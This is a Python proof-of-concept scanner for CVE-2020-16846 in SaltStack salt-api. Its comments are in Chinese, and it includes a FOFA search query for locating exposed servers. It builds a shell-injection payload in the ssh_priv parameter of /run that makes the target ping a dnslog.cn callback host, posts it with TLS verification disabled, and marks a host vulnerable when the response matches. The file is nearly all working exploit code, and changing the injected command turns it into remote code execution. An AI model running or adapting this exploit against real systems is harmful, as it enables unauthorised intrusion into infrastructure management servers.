# coding:utf-8
import requests
import urllib
import re
requests.packages.urllib3.disable_warnings()

class c2Class(object):
	def __init__(self):
		self.vulname = 'SaltStack Shell inject & unauthorized access by salt-api(CVE-2020-16846)'
		self.vulsystem= 'SaltStack'
		self.vulsystemintro = 'SaltStack是一个分布式运维系统,能够将远程节点维护在一个预定义的状态,能够分布式远程执行命令。'
		self.vulversion = '3002 ; 3001.1,3001.2 ; 3000.3,3000.4 ; 2019.2.5,2019.2.6 ; 2018.3.5 ; 2017.7.4,2017.7.8 ; 2016.11.3,2016.11.6,2016.11.10 ; 2016.3.4,2016.3.6,2016.3.8 ; 2015.8.10,2015.8.13 ;'
		self.fofa='"salt" && protocol=="https" && port="8000"'
		self.findtime='2020-11'
		self.cveid='CVE-2020-16846'
		self.refer= 'https://paper.seebug.org/1398/#_2\nhttps://blog.csdn.net/qq_37602797/article/details/111502282'
		self.bbb=''
		self.testisok=True

		if __file__[-3:]=='pyc':
			self._file=__file__[:-1]
		else:
			self._file=__file__

		self.dnslog='bcch1q.dnslog.cn'
		print('Current module use [%s]. You can change dnslog in %s'%(self.dnslog,self._file))
		self.vulpath='/run' # https://192.168.128.129:8000/run
		self.headers={'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0',
		'Accept': 'application/x-yaml',
		'Content-Type': 'application/x-www-form-urlencoded'}		
		self.cmd='/dev/null</dev/null;(ping -c 1 thisIsPrefix.%s);'%self.dnslog # 第一个字符必须得是斜杠/
		self.urlencodeCmd=urllib.urlencode({'':self.cmd})[1:]
		self.payload='client=ssh&tgt=*&fun=a&eauth=h&ssh_priv=%s'%self.urlencodeCmd
		self.rc_host=re.compile('(?<=://).+?(?=[:/])')
		self.flag=200
		self.flag1=['return:',r'- {}']


	def c2Func(self,target):
		status=0
		returnData=''
		if target.startswith(('http://','https://')):
			# 这是为了拿到 <http://主机名>这样格式的数据
			target=target+'/'
			target=target[:target.find('/',8)] # 在https://、http://的协议开头之后寻找/
		else:
			target='https://'+target
		try:
			url=target.strip('/')+self.vulpath
			prefix=self.rc_host.search(url).group()
			payload=self.payload.replace('thisIsPrefix',prefix)
			# print(payload)
			resp=requests.post(url=url,data=payload,headers=self.headers,verify=False,timeout=30)

			if self.flag == resp.status_code and all([f in resp.text for f in self.flag1]):
				returnData='%s could be vulnerable.The vuln is %s.'\
				'The vulnurl is [%s],u can check dnslog in %s'%(target.strip('/'),self.vulname,url,self.dnslog) #
				status=1
		except Exception as e:
			# print(e)
			returnData=str(e)
		return status,returnData

if __name__ == '__main__':
	target='https://192.168.128.129:8010/'
	pocObj=c2Class()
	print(pocObj.c2Func(target))
